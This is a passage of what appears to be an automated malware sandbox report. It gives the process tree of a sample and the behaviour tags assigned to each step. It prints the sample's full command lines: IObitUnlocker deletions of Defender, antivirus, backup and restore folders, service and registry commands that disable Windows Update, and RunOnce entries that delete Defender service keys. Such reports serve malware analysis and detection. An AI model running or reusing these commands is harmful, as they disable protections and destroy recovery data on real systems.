Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:3172
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:2288
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        5⤵
        
        PID:1924
      - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:764
      - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:5500
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3632"
        5⤵
        
        PID:5580
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "3632"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3872
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5960
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
      4⤵
      System Location Discovery: System Language Discovery
      PID:3236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
      4⤵
      System Location Discovery: System Language Discovery
      PID:5520
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:4416

C:\Users\Admin\AppData\Local\Temp\random.exe
C:\Users\Admin\AppData\Local\Temp\random.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:908
- C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe
  "C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5544
- C:\Users\Admin\AppData\Local\Temp\svchostam.exe
  "C:\Users\Admin\AppData\Local\Temp\svchostam.exe"
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1864
- C:\Windows\systemhelper.exe
  "C:\Windows\systemhelper.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
      nircmd win min process "cmd.exe"
      4⤵
      Executes dropped EXE
      PID:1856
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      PID:3184
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKU\S-1-5-19"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1668
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2612
  - - C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
      NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4964
  - - C:\Windows\SysWOW64\mode.com
      Mode 79,49
      4⤵
      PID:4472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3624
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5592
  - - C:\Windows\SysWOW64\find.exe
      find /i "0x0"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4952
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3168
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2768
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
      4⤵
      PID:836
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\Sense"
      4⤵
      PID:4172
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4720
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
      4⤵
      PID:4628
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4908
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5784
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3376
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2580
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4416
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3736
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
      4⤵
      PID:3596
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ver "
      4⤵
      System Location Discovery: System Language Discovery
      PID:5264
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /c:"6.1.7601"
      4⤵
      PID:5248
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\find.exe
      find /i "Windows 7"
      4⤵
      PID:5456
  - - C:\Windows\SysWOW64\reg.exe
      reg query HKLM\System\CurrentControlset\Services\WdFilter
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1320
  - - C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
      7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4508
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game.exe /CurrentDiskSize
      4⤵
      Executes dropped EXE
      PID:5624
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:5228
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:952
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5624"
        5⤵
        
        PID:32
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "5624"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1684
  - - C:\Windows\SysWOW64\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:1932
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4780
  - - C:\Windows\SysWOW64\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:1240
  - - C:\Windows\SysWOW64\sc.exe
      sc config dosvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2984
  - - C:\Windows\SysWOW64\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:4964
  - - C:\Windows\SysWOW64\sc.exe
      sc config bits start= disabled
      4⤵
      Launches sc.exe
      PID:4472
  - - C:\Windows\SysWOW64\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5132
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1568
  - - C:\Windows\SysWOW64\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:1272
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4768
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4708
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
      4⤵
      PID:1944
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\reg.exe
      reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3152
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4928
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4356
  - - C:\Windows\SysWOW64\reg.exe
      reg unload HKLM\TEMP_SYSTEM
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4932
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game /delwd
      4⤵
      Sets service image path in registry
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1256
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:2120
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:1636
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        5⤵
        
        PID:2744
      - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:3520
      - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:3416
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1256"
        5⤵
        
        PID:1660
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1256"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4360
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game /DelWD
      4⤵
      Executes dropped EXE
      PID:376
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:5816
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:5504
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "376"
        5⤵
        
        PID:6088
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "376"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:3404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
      4⤵
      System Location Discovery: System Language Discovery
      PID:5528
  - - C:\Windows\SysWOW64\reg.exe
